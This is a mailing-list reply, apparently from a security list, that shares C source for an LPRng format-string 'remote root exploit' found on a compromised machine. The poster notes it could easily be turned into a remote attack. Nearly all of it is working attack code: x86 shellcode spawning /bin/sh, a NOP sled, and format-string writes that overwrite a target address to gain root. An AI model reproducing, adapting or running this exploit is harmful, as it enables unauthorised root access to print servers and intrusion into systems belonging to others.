Re: lpd exploit?

[John <lesadair () EARHLINK NET>]

Some more code that a friend of myne found on a box is as follows. It's not
remote but, could be made into a remote exploit quick(have not had time to
look over it yet as I just got this)-


/* LPRng remote root exploit for x86 Linux
 * 9/27/00
 *
 * - sk8
 * tested on compiled LPRng 3.6.22/23/24
 *
 */
#include <unistd.h>
#include <stdio.h>

char sc[]=
"\x29\xdb\x29\xc0\x29\xd2\x31\xc9\xfe\xca\xb0\x46\xcd\x80\x29\xff"
"\x47\x47\x47\x43\x43\x43\x31\xc9\x29\xc0\xb0\x3f\xcd\x80\x41\x39"
"\xf9\x75\xf5\x39\xd3\x7e\xee\xeb\x19\x5e\x89\xf3\x89\xf7\x83\xc7"
"\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x0b"
"\xcd\x80\xe8\xe2\xff\xff\xff/bin/sh"
;
#define NOP 0x90 //will be split up, doesn't matter
int main(int argc, char** argv) {
 char getbuf[1000];
 int bpad=0; /* was 2 */ /* 3 for other */
 /* 2 - -34
    3 - -41
    0 - -42
 */
 int i=0;
 int eiploc=0x41424344;
 char buffer[1024];
 char fmtbuf[128];
 int shloc=-1; //0xbffff2c8;
 int hi=100;
 int lo=200;
 int pre=0;
 int align=-36;


 int pos=511; //483; //488; /*299;*/
 int debug=0;
 char s=0;
 char mode='n';

 while ( ( s=getopt(argc, argv, "a:b:e:s:p:d")) != EOF) {
  switch(s) {
   case 'a': align=atoi(optarg); break;
   case 'b': bpad=atoi(optarg);
     break;
   case 'e': eiploc=strtoul(optarg, 0,0);
     break;
   case 's': shloc=strtoul(optarg, 0, 0);
     break;
   case 'p': pos=atoi(optarg); break;
   case 'd': debug=1; break;
   default:
  }
 }
 if (shloc == -1) shloc=eiploc+2450;

 memset(buffer, 0, sizeof(buffer));
 memset(fmtbuf, 0, sizeof(fmtbuf));

 memset(buffer, 'B', bpad);
 *(long*)(buffer+strlen(buffer))=eiploc+2;
 *(long*)(buffer+strlen(buffer))=0x50505050;
 *(long*)(buffer+strlen(buffer))=eiploc;
 pre=strlen(buffer);

 if (debug) { mode='p'; hi=100; lo=100; }
 else {
  hi=((shloc >> 16)&0xffff)-pre+align; /* was no 7 */
  lo=((shloc >> 0)&0xffff)+0x10000-((shloc >> 16)&0xffff);
 }
 sprintf(fmtbuf, "%%%dd%%%d$h%c%%%dd%%%d$h%c", hi, pos, mode, lo, pos+2,
mode);
 strcat(buffer+strlen(buffer), fmtbuf);
 /* make it easier to hit shellcode */
 memset(buffer+strlen(buffer), NOP, 385);
 strcat(buffer, sc);
 *(char*)(buffer+strlen(buffer))=0;

 fprintf(stderr, "strlen(fmtbuf): %i\n", strlen(fmtbuf));
 fprintf(stderr, "pos: %i\n", pos);
 fprintf(stderr, "align: %i\n", align);
 fprintf(stderr, "eip location: 0x%x\n", eiploc);
 fprintf(stderr, "shellcode location: 0x%x\n", shloc);
 fprintf(stderr, "strlen(sc): %i\n", strlen(sc));
 fprintf(stderr, "strlen(buffer): %i\n", strlen(buffer));
 printf("%s", buffer);
 putchar('\n');
}